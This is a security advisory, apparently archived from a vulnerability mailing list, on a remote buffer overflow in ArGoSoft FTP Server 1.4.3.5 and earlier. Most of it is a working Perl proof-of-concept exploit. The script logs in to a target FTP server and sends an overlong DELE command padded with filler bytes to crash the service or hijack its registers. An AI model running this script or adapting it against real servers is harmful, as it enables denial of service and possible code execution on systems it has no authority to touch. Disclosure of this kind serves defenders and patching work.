[EXPL] ArGoSoft FTP Server Remote Buffer Overflow Exploit

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  ArGoSoft FTP Server Remote Buffer Overflow Exploit
------------------------------------------------------------------------


SUMMARY

" <http://www.argosoft.com/RootPages/FtpServer/Default.aspx> ArGoSoft FTP 
Server is a FTP server for Windows95/98/NT, and supports all basic FTP 
commands, and much more, such as passive mode, resuming file transfers, 
windows shortcuts to another files, folders and drives (including network 
drives), virtual domains (multiple IP homes), IP filtering, site specific 
commands, such as compressing and copying files on the server, changing 
date/time stamps, and so on."

Lack of proper length validation in ArGoSoft FTP server commands allows 
attackers to execute arbitrary code or cause a DoS condition and crash the 
server.

DETAILS

Vulnerable Systems:
 * ArGoSoft FTP server 1.4.3.5 and prior

#!/usr/bin/perl

# ---------------------------------------------------- #
# ArgoSoftFTP.pl - PoC exploit for ArgoSoft FTP Server #
# Jerome Athias                           #
# ---------------------------------------------------- #

use Net::FTP;

# geting data
$host = @ARGV[0];
$port = @ARGV[1];
$debug = @ARGV[2];
$user = @ARGV[3];
$pass = @ARGV[4];

# ===========

if (($host) && ($port)) {
       
  # make exploit string
  $exploit_string = "DELE ";
  $exploit_string .= "A" x 2041;
  $exploit_string .= "B" x 4;
  $exploit_string .= "C" x 1026;

#    On Win2K SP4 FR:
#    EAX 42424241
#    ECX 43434343
#    EDX 43434342
#    EBX 43434B73

        # ===================
       
        print "Trying to connect to $host:$port\n";
        $sock = Net::FTP->new("$host",Port => $port, TimeOut => 30, 
Debug=> $debug) or die "[-] Connection failed\n";
        print "[+] Connect OK!\n";
        print "Logging...\n";
        if (!$user) {
             $user = "test";
             $pass = "test";
        }
        $sock->login($user, $pass);
        $answer = $sock->message;
        print "Sending string...\n";
        $sock->quot($exploit_string);
} else {
        print "ArgoSoft FTP Server - PoC
        Exploit\nhttps://www.securinfos.info\n\nUsing: $0 host port 
username password [debug: 1 or 0]\n\n";
}

# EoF


ADDITIONAL INFORMATION

The information has been provided by  <mailto:jerome.athias@free.fr> 
Jerome Athias.
The original article can be found at:  
<https://www.securinfos.info/english/security-advisories-alerts/20060225_ArGoSoft.FTP.Server_Heap.Overflow.html>
 
https://www.securinfos.info/english/security-advisories-alerts/20060225_ArGoSoft.FTP.Server_Heap.Overflow.html



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